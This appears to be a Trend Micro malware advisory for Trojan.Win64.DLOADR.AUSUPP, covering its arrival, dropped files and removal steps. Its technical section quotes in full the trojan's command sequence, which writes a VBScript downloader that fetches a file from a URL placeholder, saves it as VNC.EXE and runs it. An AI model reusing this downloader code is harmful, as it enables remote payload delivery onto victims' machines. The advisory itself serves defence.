Analysis by: John Anthony Banes
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Dropped by other malware, Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 87,040 bytes
File Type: DLL
Memory Resident: No
Initial Samples Received Date: 24 May 2019
Payload: Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

This malware arrives via the following means:

Installation

This Trojan drops and executes the following files:

  • %ProgramData%\vbs.vbs - downloader script

(Note: %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

It saves the files it downloads using the following names:

  • %System Root%\Spread.exe
  • %ProgramData%\Spread.exe
  • %ProgramData%\VNC.EXE

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.. %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)

Other Details

This Trojan does the following:

  • It executes the following commands to create and execute the downloader script, and execute the downloaded file:
    • echo on error resume next > %ProgramData%\vbs.vbs
    • echo with wscript:if .arguments.count^<2 then .quit:end if >> %ProgramData%\vbs.vbs
    • echo set aso=.createobject(\adodb.stream\"):set web=createobject(\"microsoft.xmlhttp\") >> %ProgramData%\vbs.vbs
    • echo web.open \get\",.arguments(0),0:web.send:if web.status^>200 then quit >> %ProgramData%\vbs.vbs
    • echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> %ProgramData%\vbs.vbs
    • cscript %ProgramData%\vbs.vbs {URL} %ProgramData%\VNC.EXE
    • %ProgramData%\VNC.EXE
    • taskkill /f /im cmd.exe && exit
  • The {URL} is specified by the malware Worm.Win32.BLASQUI.A

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 15.138.02
FIRST VSAPI PATTERN DATE: 28 May 2019
VSAPI OPR PATTERN File: 15.139.00
VSAPI OPR PATTERN Date: 29 May 2019

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Remove malware/grayware files that dropped/downloaded Trojan.Win64.DLOADR.AUSUPP. (Note: Please skip this step if the threats listed below have already been removed.)

     
    • Worm.Win32.BLASQUI.A
    • TROJ_EQUATED.J

Step 4

Restart in Safe Mode

[ Learn More ]

Step 5

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %ProgramData%\vbs.vbs
  • %ProgramData%\Spread.exe
  • %ProgramData%\VNC.EXE
  • %System Root%\Spread.exe

Step 6

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.Win64.DLOADR.AUSUPP. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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